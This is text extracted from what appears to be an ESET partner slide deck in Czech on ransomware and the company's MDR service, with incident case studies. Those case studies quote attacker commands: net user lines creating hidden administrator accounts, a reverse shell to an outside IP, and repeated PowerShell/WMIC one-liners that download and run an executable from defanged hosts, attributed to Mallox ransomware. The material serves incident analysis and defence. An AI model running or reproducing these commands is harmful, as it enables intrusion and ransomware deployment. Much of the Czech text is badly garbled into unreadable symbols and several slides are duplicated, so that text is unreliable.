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Solution Architect



Servery, desktopy a mobilní 
ȊŀǌƝȊŜƴƝ ȊłƪŀȊƴƝƪǻ ŎƘǊłƴŠƴŞ 
systémy ESET

ESET Cloud Office Security 
ȊŀōŜȊǇŜőǳƧƝŎƝ ǇǊƻǎǘǌŜŘƝ         
MS 365 a Google Workspace

Vlastní ESEThoneypoty
ƭłƪŀƧƝŎƝ ǵǘƻőƴƝƪȅǊƻȊƳƝǎǘŠƴŞ
Ǉƻ ŎŜƭŞƳ ǎǾŠǘŠ

Automatizovaná analýza 
desítek ōƻǘƴŜǘǻtechnologií            
ESET Botnet Tracker

¢ǌŜǘƝ ǎǘǊŀƴŀ ςVirusTotalΣ ǾȇƳŠƴŀ 
ǾȊƻǊƪǻ ǎ ƧƛƴȇƳƛ ǾŜƴŘƻǊȅΣ 
spolupráce s Big Tech a policií

Globální vyhledávání a ŀƴŀƭȇȊȅ ŎŜƭȇŎƘ ǵǘƻƪǻ 





¢ǊŀŘƛőƴƝ ǊŀƴǎƻƳǿŀǊŜ

Proniknutí do zranitelného 
ȊŀǌƝȊŜƴƝ

!ƴŀƭȇȊŀ ƴŀǇŀŘŜƴŞƘƻ ȊŀǌƝȊŜƴƝ 
ŀ ŎŜƭŞ ǎƝǘŠ

{ǘŀȌŜƴƝ őŀǎǘƻ ƭŜƎƛǘƛƳƴƝŎƘ 
ƴłǎǘǊƻƧǻ ŀ ǎƪǊƛǇǘǻ

9ǎƪŀƭŀŎŜ ƻǇǊłǾƴŠƴƝΣ ȊƝǎƪłƴƝ 
ǇǌƛƘƭŀǑƻǾŀŎƝŎƘ ǵŘŀƧǻ

tǌŜǎǳƴ ƴŀ ŘŀƭǑƝ ȊŀǌƝȊŜƴƝ Ǿ 
síti, cílem jsou servery

Nalezení a extrakce 
ŘǻƭŜȌƛǘȇŎƘ ǎƻǳōƻǊǻ

½ŀǑƛŦǊƻǾłƴƝ ǎŜǊǾŜǊǻ 
ǾőŜǘƴŠ ǾŜǑƪŜǊȇŎƘ ȊłƭƻƘ

¿łŘƻǎǘ ƻ ȊŀǇƭŀŎŜƴƝ 
výkupného



¢ǊŀŘƛőƴƝ ǊŀƴǎƻƳǿŀǊŜ

Proniknutí do zranitelného 
ȊŀǌƝȊŜƴƝ

!ƴŀƭȇȊŀ ƴŀǇŀŘŜƴŞƘƻ ȊŀǌƝȊŜƴƝ 
ŀ ŎŜƭŞ ǎƝǘŠ

{ǘŀȌŜƴƝ őŀǎǘƻ ƭŜƎƛǘƛƳƴƝŎƘ 
ƴłǎǘǊƻƧǻ ŀ ǎƪǊƛǇǘǻ

9ǎƪŀƭŀŎŜ ƻǇǊłǾƴŠƴƝΣ 
ȊƝǎƪłƴƝ ǇǌƛƘƭŀǑƻǾŀŎƝŎƘ 
ǵŘŀƧǻ

tǌŜǎǳƴ ƴŀ ŘŀƭǑƝ ȊŀǌƝȊŜƴƝ Ǿ 
síti, cílem jsou servery

Nalezení a extrakce 
ŘǻƭŜȌƛǘȇŎƘ ǎƻǳōƻǊǻ

½ŀǑƛŦǊƻǾłƴƝ ǎŜǊǾŜǊǻ 
ǾőŜǘƴŠ ǾŜǑƪŜǊȇŎƘ ȊłƭƻƘ

¿łŘƻǎǘ ƻ ȊŀǇƭŀŎŜƴƝ 
výkupného



hōŠǘƛ ǇǌŜǎǘŀƭƛ Ǉƭŀǘƛǘ

aƴƻȌǎǘǾƝ ǵǎǇŠǑƴȇŎƘ ǊŀƴǎƻƳǿŀǊƻǾȇŎƘ ǵǘƻƪǻ ǎŜ ǾȇǊŀȊƴŠ ǎƴƝȌƛƭƻ 
ŀ ǇƻƪǳŘ ƧƛȌ ōȅƭȅ ȊŘŀǌƛƭŞΣ Řŀǘŀ ǎŜ ǇƻŘŀǌƛƭƻ ƻōƴƻǾƛǘ ȊŜ ȊłƭƻƘ

Å [ŜǇǑƝ ŘŜǘŜƪőƴƝ ǘŜŎƘƴƻƭƻƎƛŜΣ ȊłƭƻƘƻǾłƴƝ 

Å tǊƛƴŎƛǇ ƴŜƧƴƛȌǑƝŎƘ ǇǊƛǾƛƭŜƎƛƝ

Å {ŜƎƳŜƴǘŀŎŜ ǎƝǘŠ

Å 5ǾƻǳŦŀƪǘƻǊƻǾŞ ƻǾŠǌƻǾłƴƝ

Å Cloudový sandboxing

Å 5ǻǎƭŜŘƴŠƧǑƝ ȊłǇƭŀǘƻǾłƴƝ

Å 5ŀǘŀ ǳƭƻȌŜƴŀ ƴŀ ǎŜǊǾŜǊŜŎƘ κ Ǿ ŎƭƻǳŘǳ



hōŠǘƛ ǇǌŜǎǘŀƭƛ Ǉƭŀǘƛǘ

bǳǘƴƻǎǘ ǾȅǌŀŘƛǘ ȊłƭƻƘȅ ŀ ȊŀǑƛŦǊƻǾŀǘ ǾŜǑƪŜǊł Řŀǘŀ ƴŀ ǎŜǊǾŜǊŜŎƘ



¢ƻ ƴŜƭȊŜ ǳŘŠƭŀǘ ŀǳǘƻƳŀǘƛŎƪȅ ςαǇƻǳȊŜά ƳŀƭǿŀǊŜƳ



<

{ƻǳőŀǎƴƻǎǘ
5ƻōŀ ƳŀƴǳłƭƴŠ
ǇǊƻǾłŘŠƴȇŎƘ ǵǘƻƪǻ



Analýza systému, 
ǳȌƛǾŀǘŜƭǻΣ ǎƝǘŠ

{ǘŀȌŜƴƝ ƳŀƭǿŀǊǳΣ 
ǳǘƛƭƛǘ ŀ ǎƪǊƛǇǘǻ

Proniknutí do 
ȊŀǌƝȊŜƴƝ

Získání legitimních 
ǇǌƛƘƭŀǑƻǾŀŎƝŎƘ ǵŘŀƧǻ

LƴŦƛƭǘǊŀŎŜ ŘŀƭǑƝŎƘ 
ȊŀǌƝȊŜƴƝ

Exfiltrace 
citlivých dat

½ƴƛőŜƴƝ ȊłƭƻƘΣ 
ȊŀǑƛŦǊƻǾłƴƝ Řŀǘ

¿łŘƻǎǘ ƻ Ǉƭŀǘōǳ 
výkupného

aƻŘŜǊƴƝ ǾȅŘŠǊŀőǎƪŞ ǵǘƻƪȅ



Analýza systému, 
ǳȌƛǾŀǘŜƭǻΣ ǎƝǘŠ

{ǘŀȌŜƴƝ ƳŀƭǿŀǊǳΣ 
ǳǘƛƭƛǘ ŀ ǎƪǊƛǇǘǻ

Proniknutí do 
ȊŀǌƝȊŜƴƝ

Získání legitimních 
ǇǌƛƘƭŀǑƻǾŀŎƝŎƘ ǵŘŀƧǻ

LƴŦƛƭǘǊŀŎŜ ŘŀƭǑƝŎƘ 
ȊŀǌƝȊŜƴƝ

Exfiltrace 
citlivých dat

¿łŘƻǎǘ ƻ Ǉƭŀǘōǳ 
výkupného

aƻŘŜǊƴƝ ǾȅŘŠǊŀőǎƪŞ ǵǘƻƪȅ



±ȅŘƝǊŀƴŞ ǎǇƻƭŜőƴƻǎǘƛ

Manuální útoky se nevyhýbají ani 
ƳŜƴǑƝƳ ǎǇƻƭŜőƴƻǎǘŜƳ Ǿ 2ŜǎƪǳΦ 
bŠƪǘŜǊŞ ƻōŠǘƛ ƳŀƧƝ ǇƻǳȊŜ ǾȅǑǑƝ 
ŘŜǎƝǘƪȅ ȊŀƳŠǎǘƴŀƴŎǻΦ 

tǌŜǎǘƻ ƧŜ ǵǘƻőƴƝŎƛ ƴŀǇŀŘƭƛΣ ȊŎƛȊƛƭƛ 
data a vydírají.



hōŠǘƝ ǘŠŎƘǘƻ ǵǘƻƪǻ Ƨǎƻǳ Ǿ 82 % SMB

Gartner



tǊǻƳŠǊƴł ǑƪƻŘŀ Ǿ ŘŜǎƝǘƪłŎƘ Ƴƛƭƛƻƴǻ Yő

Gartner



Wŀƪ ǎŜ ǵőƛƴƴŠ 

bránit?



Nutnost odhalení nových hrozeb

tǊƛƳłǊƴŠ ȊƴŜǳȌƝǾłƴƝ legitimních
ǳǘƛƭƛǘΣ ǎƪǊƛǇǘǻ a výchozího 
softwarového vybavení ƻǇŜǊŀőƴƝŎƘ 
ǎȅǎǘŞƳǻ Ǉǌƛ ƳŀƴǳłƭƴƝŎƘ ǵǘƻŎƝŎƘ



ESET Inspect ǳƳƻȌƶǳƧŜ ƻŘƘŀƭŜƴƝ ƳŀƴǳłƭƴƝŎƘ ǵǘƻƪǻΣ 
ƧŜƧƛŎƘ ƛƴǾŜǎǘƛƎŀŎƛ ŀ ŜƭƛƳƛƴŀŎƛ ƴŀ ȊłƪƭŀŘŠ ŘŜǘŜƪŎŜ 
ǇƻǘŜƴŎƛłƭƴŠ ǊƛȊƛƪƻǾȇŎƘ ŀƴƻƳłƭƛƝ

Å Vrámci aplikací 3. stran

Å ½ƴŜǳȌƛǘƝƳ ŦǳƴƪŎƝ ƻǇŜǊŀőƴƝŎƘ ǎȅǎǘŞƳǻ

Å tǊƻōƭŜƳŀǘƛŎƪŞƘƻ ŎƘƻǾłƴƝ ǳȌƛǾŀǘŜƭǻ

Å {ƝǙƻǾŞƘƻ ǇǊƻǾƻȊǳ

±ȅǳȌƛǘƝƳ 95w ό·5wύ ǎȅǎǘŞƳǳ



2ŀǎƻǾŠ ƴłǊƻőƴŞ 
na obsluhu

Nutnost 
know-how

±ȅǑǑƝ ǇƻǌƛȊƻǾŀŎƝ 
náklady

wŜƭŀǘƛǾƴŠ ǎƭƻȌƛǘł 
technologie

±ŜƭƪŞ ƳƴƻȌǎǘǾƝ 
ǳǇƻȊƻǊƴŠƴƝ

Odvrácená strana 
EDR (XDR) nefunguje automaticky



ałƳŜ ƪǾŀƭƛǘƴƝ ōŜȊǇŜőƴƻǎǘƴƝ ǘŜŎƘƴƻƭƻƎƛŜ 
schopné nás ochránit? 

ałƳŜ ƴŠƪƻƘƻΣ ƪŘƻ Ǉǌƛ ǵǘƻƪǳ ƛƴŦƛƭǘǊŀŎƛ 
ǇǊƻǾŠǌƝ ŀ Ǿőŀǎ ƴŜǳǘǊŀƭƛȊǳƧŜ ƘǊƻȊōǳΚ



91 %
±ȅǳȌƝǾł ƴŜōƻ ǇƭłƴǳƧŜ ǾȅǳȌƝǾŀǘ 

ǎƭǳȌōȅ ƻǳǘǎƻǳǊŎƛƴƎǳ

68 %
tǊŜŦŜǊǳƧŜ ǎƭǳȌōȅ ǾȇǊƻōŎŜ      
ōŜȊǇŜőƴƻǎǘƴƝŎƘ ǇǊƻŘǳƪǘǻ

87 %
tƻȌŀŘǳƧŜ ƴŜǇǌŜǘǊȌƛǘȇ 
monitoring 24/7/365

90 %
¦ǇǌŜŘƴƻǎǘƶǳƧŜ ŘƻƘƭŜŘ ǎ             

reakcí na hrozby

tǊǻȊƪǳƳ ǘǊƘǳ μ ōŜȊǇŜőƴƻǎǘƴƝ ƳƻƴƛǘƻǊƛƴƎ



Wŀƪ ƳǻȌŜ 9{9¢ ǇƻƳƻŎǘΚ



Unikátními ōŜȊǇŜőƴƻǎǘƴƝƳƛ ǇǊƻŘǳƪǘȅ
pro automatizovanou detekci 
malwaru a odhalování manuálních 
ǵǘƻƪǻ ŀ a5w ǎƭǳȌōƻǳ ƳƻƴƛǘƻǊƛƴƎǳ-
ƪƻƳōƛƴŀŎƛ ǳƳŠƭŞ ƛƴǘŜƭƛƎŜƴŎŜΣ 
odborných znalostí a rychlé reakce 
ōŜȊ ƴǳǘƴƻǎǘƛ ƳƝǘ ǾƭŀǎǘƴƝ ōŜȊǇŜőƴƻǎǘƴƝ 
specialisty ǇǊƻǑŜǘǌǳƧƝŎƝ ƛƴŎƛŘŜƴǘȅ

Anti-malware Cloud sandboxing EDR (XDR)

NAS protectionFirewall Hyper-V scanner Email protection

Cloud protection



hǳǘǎƻǳǊŎƛƴƎ ŎƘȅōŠƧƝŎƝŎƘ ōŜȊǇŜőƴƻǎǘƴƝŎƘ ǎǇŜŎƛŀƭƛǎǘǻ

bŜƧǾȅǎǇŠƭŜƧǑƝ 
ōŜȊǇŜőƴƻǎǘƴƝ 
technologie

tǌŜŘƴƝ ƻŘōƻǊƴƝŎƛ 
na kybernetické 
útoky

9ƭƛƳƛƴŀŎŜ ƛ ǘŠŎƘ 
ƴŜƧǇƻƪǊƻőƛƭŜƧǑƝŎƘ 
ǵǘƻƪǻ

Monitoring 24/7      
s dobou reakce     
do 1 minuty

9{9¢ a5w μ ǎƭǳȌōŀ ƪȅōŜǊƴŜǘƛŎƪŞƘƻ ŘƻƘƭŜŘǳ



THREAT 
INTELLIGENCE

½ǇǊŀŎƻǾłǾłƴƝ ƛƴŦƻǊƳŀŎƝ ƻ ǵǘƻŎƝŎƘ Ȋ ŎŜƭŞƘƻ ǎǾŠǘŀ

±ȅƘƭŜŘłǾłƴƝ ǾȇƧƛƳŜőƴŞƘƻ ƳŀƭǿŀǊǳ ϧ ŎŜƭȇŎƘ ǵǘƻƪǻ

5ŜǘŀƛƭƴƝ ŀƴŀƭȇȊŀ ǇƻƪǊƻőƛƭȇŎƘ ƘǊƻȊŜōΣ ǎƭŜŘƻǾłƴƝ !t¢ ǎƪǳǇƛƴ

Zákazník

SIEM | SOAR | ESET ML/AI

Automatické zpracování 
Řŀǘ ϧ ŘǻƭŜȌƛǘŞ ŀƪǘǳŀƭƛȊŀŎŜ

hƪŀƳȌƛǘŞ ȊǇǊŀŎƻǾłƴƝ ŀ ǇǌŜǎƴŞ ǾȅƘƻŘƴƻŎŜƴƝ 

нпκт {h/ ǇǊƻǾłŘŠƧƝŎƝ 
monitoring a analýzu 

bŜǇǌŜǘǊȌƛǘȇ ƳƻƴƛǘƻǊƛƴƎ ŀ ǾȅƘƻŘƴƻŎƻǾłƴƝ 
ǇƻǘŜƴŎƛłƭƴƝŎƘ ƘǊƻȊŜō ǎ ǾȅǳȌƛǘƝƳ ǘŜŎƘƴƻƭƻƎƛƝ 
ESET ML/AI a SIEM

E-mailové notifikace
GUI konzole s detaily 

¢ȇŘŜƴƴƝκƳŠǎƝőƴƝ ǇǌŜƘƭŜŘȅ

Architektura 
ESET MDR

Rychlá reakce a 
neutralizace hrozby

Rychlá reakce na vzniklé incidenty pomocí 
ǌŜǑŜƴƝ {h!w

¦ǇƻȊƻǊƴŠƴƝ ȊłƪŀȊƴƝƪǻ ǇƻƳƻŎƝ ƴƻǘƛŦƛƪŀŎƝ

wŜǇƻǊǘƛƴƎ ǎǘŀǾǻ ƛƴŎƛŘŜƴǘǻ ǇǊƻ ȊłƪŀȊƴƝƪŀ



Rychlostdetekce & reakce

Bez MDR/SOC týmu

Interní SOC tým

ESET MDR

277dní

16hodin

20minut (95҈ ƛƴŎƛŘŜƴǘǻύ

20000x
ǊȅŎƘƭŜƧǑƝ
ƴŜȌ ōŜȊ a5w κ 
vlastního SOCu

48x 
ǊȅŎƘƭŜƧǑƝ

ve srovnání s 
vlastním SOCem

!Ȍ оȄ 
ǊȅŎƘƭŜƧǑƝ
ve srovnání s jinými 
a5w ǎƭǳȌōŀƳƛ



ESET MDR | statistiky

1 000+
tƭŀǘƝŎƝŎƘ ȊłƪŀȊƴƝƪǻ

180000+
/ƘǊłƴŠƴȇŎƘ ȊŀǌƝȊŜƴƝ

645+
½ŀōƭƻƪƻǾŀƴȇŎƘ ǵǘƻƪǻ

Aktuální interní data 
(posledních 30 dní)

Å tǊǻƳŠǊƴȇ őŀǎ ǇǊǾƴƝ ǊŜŀƪŎŜΥ пс ǾǘŜǌƛƴ
Å tƻőŜǘ 9{9¢ ǎǇŜŎƛŀƭƛǎǘǻv SOCu: 90+
Å bŜƧǾŠǘǑƝ ǵǎǇŠŎƘΥ ōƭƻƪŀŎŜ ǾȅǎǇŠƭŞ ǎƪǳǇƛƴȅ CLbт
Å Stát s nejvíce novými zákazníky: Itálie

±ŜǌŜƧƴŞ ǊŜŦŜǊŜƴŎŜ

Å /ŀƴƻƴ όWŀǇƻƴǎƪƻύΣ но ллл ȊŀƳŠǎǘƴŀƴŎǻ
Å wƻȅŀƭ {ǿƛƴƪŜƭǎ όbƛȊƻȊŜƳǎƪƻύΣ н орл ȊŀƳŠǎǘƴŀƴŎǻ
Å .ƻǊǳǎǎƛŀ 5ƻǊǘƳǳƴŘ όbŠƳŜŎƪƻύΣ 6рл ȊŀƳŠǎǘƴŀƴŎǻ

Å ±ȅǳȌƝǾłƴƻ ŘŜǎƝǘƪŀƳƛ ǎǳōƧŜƪǘǻ Ǿ 2w



½ ŘŜƴƝƪǳ ƪȅōŜǊƴŜǘƛŎƪȇŎƘ ƻōǊłƴŎǻ



FOR PARTNERS

Za oponou kyberútoku

Management 
Agent



FOR PARTNERS

%ProgramFiles%\ c2Update\ MeshAgent.exe

%ProgramData%\ notepad.exe  - fullinstall

C:\ > net user /add system1  3@5yPa55

C:\ > net localgroup  administrators system1  /add

C:\ > net user /add system  3@5yPa55

C:\ > net localgroup  administrators system  /add

C:\ > net user /add sys  3@5yPa55

C:\ > net localgroup  administrators sys  /add

Za oponou kyberútoku | ȊƴŜǳȌƛǘȇ aŀƴŀƎŜƳŜƴǘ !ƎŜƴǘ



FOR PARTNERS

91[.]92.246.183:443

Administrátor System1Ȋŀőŀƭ ǇǊƻǾłŘŠǘ ǾƝŎŜ őƛƴƴƻǎǘƝ                                       
ǇǌŜǎ ǊŜǾŜǊǎŜ shellz 91[.]92.246.183:443 (AV, EDR)

Stáhnutí EXE %ProgramData%\ consoleapp1.exe (EDR)

Detekováno pomocí ESET RTS jako MSIL/Exploit.CVE - 2023- 27532.A (AV)

Zranitelnost ve VeeamBackupand ReplicationǳƳƻȌƶǳƧƝŎƝ ƪǊłŘŜȌ ǇǌƛƘƭŀǑƻǾŀŎƝŎƘ 
ǵŘŀƧǻ ȊŜ ȊłƭƻƘƻǾŀŎƝƘƻ ǎƻŦǘǿŀǊǳ

Incident actions

Isolate computers

End computer isolation

Kill processes

Block executable

Unblock executable

INCIDENT ACTIONS

Za oponou kyberútoku | ȊƴŜǳȌƛǘȇ aŀƴŀƎŜƳŜƴǘ !ƎŜƴǘ



FOR PARTNERS

ESET MDR tým zareagoval

ÅMeshAgentŀ ŘŀƭǑƝ ǎǇǳǎǘƛǘŜƭƴŞ ǎƻǳōƻǊȅ ōȅƭȅ ȊŀōƭƻƪƻǾłƴȅ

ÅYƻƳǇǊƻƳƛǘƻǾŀƴŞ ȊŀǌƝȊŜƴƝ ōȅƭƻ ƛȊƻƭƻǾłƴƻ

Å±ȅǘǾƻǌŜƴ ƛƴŎƛŘŜƴǘ ǎ ǇƻǇƛǎŜƳ ŀ ƻŘŜǎƭłƴ ȊłƪŀȊƴƝƪƻǾƛ

ÅLt ŀŘǊŜǎŀ ǇǌƛŘłƴŀ ƴŀ ƎƭƻōłƭƴƝ 9{9¢ blacklist

ÅYƭƛŜƴǘƻǾƛ Ǉƻǎƪȅǘƴǳǘŀ ȊłƪƭŀŘƴƝ ŘƻŘŀǘŜőƴł ŘƻǇƻǊǳőŜƴƝ

¦ȌƛǾŀǘŜƭŞ ƪŜ ǎƳŀȊłƴƝΥ

sys, system, system1

IP adresa k zablokování na perimetrových firewallech:

91[.]92.246.183

Incident actions

Isolate computers

End computer isolation

Kill processes

Block executable

Unblock executable

INCIDENT ACTIONS

Za oponou kyberútoku | ȊƴŜǳȌƛǘȇ aŀƴŀƎŜƳŜƴǘ !ƎŜƴǘ



FOR PARTNERS

Za oponou kyberútoku

MS SQL
SQL



FOR PARTNERS

Za oponou kyberútoku | kompromitaceMS SQL

%SYSTEM%\ cmd.exe "C: \ Windows\ \ System32\ \ cmd.exe" /C echo $cl = New - Object 
System.Net.WebClient >C:?\ ProgramData\ \ updt.ps1 & echo 
$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ ProgramData\ \ tzt.bat ") >> 
C:? \ ProgramData\ \ updt.ps1 & powershell  ƵExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.ps1 & 
WMIC process call create "C:? \ ProgramData\ \ tzt.bat "

Administrator: C:\ \Windows\system32\cmd.exe

ÅOpakující se detekce EsetIpBlacklist.A/B na cílovém portu 1433 (AV)

ÅDetekce anomálií ǎƻǳǾƛǎŜƧƝŎƝŎƘ ǎ ƴŜƻōǾȅƪƭȇƳƛ ǇǌƝƪŀȊȅ {v[ {ŜǊǾŜǊǳ ό95wύ



FOR PARTNERS

Za oponou kyberútoku | kompromitaceMS SQL

%SYSTEM%\ cmd.exe "C: \ Windows\ \ System32\ \ cmd.exe" /C echo $cl = New - Object System.Net.WebClient >C:?\ ProgramData \ \ updt.ps1 & 
echo $ cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ ProgramData \ \ tzt.bat ") >> C:? \ ProgramData \ \ updt.ps1

Administrator: C:\ \Windows\system32\cmd.exe

wƻȊōƻǊ ǇǌƝƪŀȊǻΥ

powershell  ƵExecutionPolicy  Bypass C:? \ ProgramData \ \ updt.ps1

Administrator: C:\ \Windows\system32\cmd.exe

WMIC process call create "C:? \ ProgramData \ \ tzt.bat "

Administrator: C:\ \Windows\system32\cmd.exe

>> $cl = New - Object System.Net.WebClient
>> $ cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ ProgramData \ \ tzt.bat ")

Administrator: Windows PowerShell

±ȅǘǾƻǌŜƴƝ PowerShellǎƪǊƛǇǘǳ αǳǇŘǘΦǇǎмά ǇǊƻ ȊǘƝȌŜƴƝ ŀǳǘƻƳŀǘƛȊƻǾŀƴŞ ŘŜǘŜƪŎŜ !±

{ƪǊƛǇǘ αǳǇŘǘΦǇǎмά ƻōǎŀƘǳƧƝŎƝ Ǉƻƪǳǎ ƻ ȊŀǎǘǌŜƴŞ ǎǘŀȌŜƴƝ payloadumalwaru 

hōŜƧƛǘƝ ōŜȊǇŜőƴƻǎǘƴƝ Ǉƻƭƛǘƛƪȅ a{ ǇǊƻ ȊŀōŜȊǇŜőŜƴŞ ǎǇƻǳǑǘŠƴƝ ǎƪǊƛǇǘǻ

Skrytí zdroje útoku (ǇǌŜǊǳǑŜƴƝ ǎǘǊƻƳǳ ǇǊƻŎŜǎǻύ

Incident actions

Isolate computers

End computer isolation

Kill processes

Block executable

Unblock executable

INCIDENT ACTIONS



FOR PARTNERS

Za oponou kyberútoku | kompromitaceMS SQL

Incident actions

Isolate computers

End computer isolation

Kill processes

Block executable

Unblock executable

INCIDENT ACTIONS

ESET MDR tým zareagoval

ÅNapadený server izolován

Å±ȅǘǾƻǌŜƴ ƛƴŎƛŘŜƴǘ ǎ ǇƻǇƛǎŜƳ ŀ ƻŘŜǎƭłƴ ȊłƪŀȊƴƝƪƻǾƛ

Å½ŀōǊłƴŠƴƻ ǊŀƴǎƻƳǿŀǊƻǾŞƳǳ ǵǘƻƪǳ Mallox

ÅYƭƛŜƴǘƻǾƛ Ǉƻǎƪȅǘƴǳǘŀ ȊłƪƭŀŘƴƝ ŘƻŘŀǘŜőƴł ŘƻǇƻǊǳőŜƴƝ

:ÍòÎÁ ÈÅÓÅÌ ÖĪÅÃÈ ÕŅÉÖÁÔÅÌĹ -3 31, 3ÅÒÖÅÒÕ

5ÚÁÖĦāÔ ÐÏÒÔ ʦʩʨʨ ÐÒÏ ÐĦāÓÔÕÐ Ú ÉÎÔÅÒÎÅÔÕ

" \ "C: \ \ Windows\ \ \ \ System32\ \ \ \ cmd.exe\ " /C echo $cl 
= New- Object System.Net.WebClient  > 
C:\ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 & echo 
$cl.DownloadFile ( \ " hxxp://80.66.75[.]36/ aRX.exe\ ", 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ") >> 
%TEMP%\ \ updt.ps1 & powershell  - ExecutionPolicy  
Bypass C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 
& WMIC process call create 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ""

/C echo $cl = New - Object System.Net.WebClient  
>%TEMP%\ updt.ps1 & echo 
$cl.DownloadFile (" hXXp://80[.]66.75]]]].40/ XXXXX
XXXX.exe", "%TEMP%\ xxxx.exe ") >> %TEMP%\ updt.ps1 
& powershell  - ExecutionPolicy  Bypass 
%TEMP%\ updt.ps1 & WMIC process call create 
"%TEMP%\ XXXXXXXX.exe"

%SYSTEM%\ cmd.exe ƨ#ƙ\ Windows\ \ System32\ \ cmd.exeƨ Ƴ# ÅÃÈÏ ʙÃÌ ˮ .Å×- Object 
System.Net.WebClient >C:?\ ProgramData\ \ updt.ps1 & echo 
$cl.DownloadFile ƽƧhxxp://80.66.75[.]47/ Dxccaejs.exe ƨƗ ƨ#ƙơ\ ProgramData\ \ tzt.bat ƨƾ ˲˲ 
C:?\ ProgramData\ \ updt.ps1 & powershell  ƵExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.ps1 & 
7-)# ÐÒÏÃÅÓÓ ÃÁÌÌ ÃÒÅÁÔÅ ƨ#ƙơ\ ProgramData\ \ tzt.bat ƨ

Administrator: C:\ \Windows\system32\cmd.exe



FOR PARTNERS

Za oponou kyberútoku | atribuceRaaSMallox

%SYSTEM%\ cmd.exe "C: \ Windows\ \ System32\ \ cmd.exe" /C echo $cl = New - Object 
System.Net.WebClient >C:?\ ProgramData\ \ updt.ps1 & echo 
$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ ProgramData\ \ tzt.bat ") >> 
C:? \ ProgramData\ \ updt.ps1 & powershell  ƵExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.ps1 & 
WMIC process call create "C:? \ ProgramData\ \ tzt.bat "

Administrator: C:\ \Windows\system32\cmd.exe

" \ "C: \ \ Windows\ \ \ \ System32\ \ \ \ cmd.exe\ " /C echo $cl 
= New- Object System.Net.WebClient  > 
C:\ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 & echo 
$cl.DownloadFile ( \ " hxxp://80.66.75[.]36/ aRX.exe\ ", 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ") >> 
%TEMP%\ \ updt.ps1 & powershell  - ExecutionPolicy  
Bypass C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 
& WMIC process call create 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ""

/C echo $cl = New - Object System.Net.WebClient  
>%TEMP%\ updt.ps1 & echo 
$cl.DownloadFile (" hXXp://80[.]66.75]]]].40/ XXXXX
XXXX.exe", "%TEMP%\ xxxx.exe ") >> %TEMP%\ updt.ps1 
& powershell  - ExecutionPolicy  Bypass 
%TEMP%\ updt.ps1 & WMIC process call create 
"%TEMP%\ XXXXXXXX.exe"



FOR PARTNERS

Za oponou kyberútoku | atribuceRaaSMallox

%SYSTEM%\ cmd.exe "C: \ Windows\ \ System32\ \ cmd.exe" /C echo $cl = New - Object 
System.Net.WebClient >C:?\ ProgramData\ \ updt.ps1 & echo 
$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ ProgramData\ \ tzt.bat ") >> 
C:? \ ProgramData\ \ updt.ps1 & powershell  ƵExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.ps1 & 
WMIC process call create "C:? \ ProgramData\ \ tzt.bat "

Administrator: C:\ \Windows\system32\cmd.exe

/C echo $cl = New - Object System.Net.WebClient  
>%TEMP%\ updt.ps1 & echo 
$cl.DownloadFile (" hXXp://80[.]66.75]]]].40/ XXXXX
XXXX.exe", "%TEMP%\ xxxx.exe ") >> %TEMP%\ updt.ps1 
& powershell  - ExecutionPolicy  Bypass 
%TEMP%\ updt.ps1 & WMIC process call create 
"%TEMP%\ XXXXXXXX.exe"

" \ "C: \ \ Windows\ \ \ \ System32\ \ \ \ cmd.exe\ " /C echo $cl 
= New- Object System.Net.WebClient  > 
C:\ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 & echo 
$cl.DownloadFile ( \ " hxxp://80.66.75[.]36/ aRX.exe\ ", 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ") >> 
%TEMP%\ \ updt.ps1 & powershell  - ExecutionPolicy  
Bypass C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 
& WMIC process call create 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ""

hxxp://80.66.75[.]36

hxxp://80.66.75[.]47

hXXp://80[.]66.75]]]].40



FOR PARTNERS

Za oponou kyberútoku | atribuceRaaSMallox

%SYSTEM%\ cmd.exe "C: \ Windows\ \ System32\ \ cmd.exe" /C echo $cl = New - Object 
System.Net.WebClient >C:?\ ProgramData\ \ updt.ps1 & echo 
$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ ProgramData\ \ tzt.bat ") >> 
C:? \ ProgramData\ \ updt.ps1 & powershell  ƵExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.ps1 & 
WMIC process call create "C:? \ ProgramData\ \ tzt.bat "

Administrator: C:\ \Windows\system32\cmd.exe

/C echo $cl = New - Object System.Net.WebClient  
>%TEMP%\ updt.ps1 & echo 
$cl.DownloadFile (" hXXp://80[.]66.75]]]].40/ XXXXX
XXXX.exe", "%TEMP%\ xxxx.exe ") >> %TEMP%\ updt.ps1 
& powershell  - ExecutionPolicy  Bypass 
%TEMP%\ updt.ps1 & WMIC process call create 
"%TEMP%\ XXXXXXXX.exe"

" \ "C: \ \ Windows\ \ \ \ System32\ \ \ \ cmd.exe\ " /C echo $cl 
= New- Object System.Net.WebClient  > 
C:\ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 & echo 
$cl.DownloadFile ( \ " hxxp://80.66.75[.]36/ aRX.exe\ ", 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ") >> 
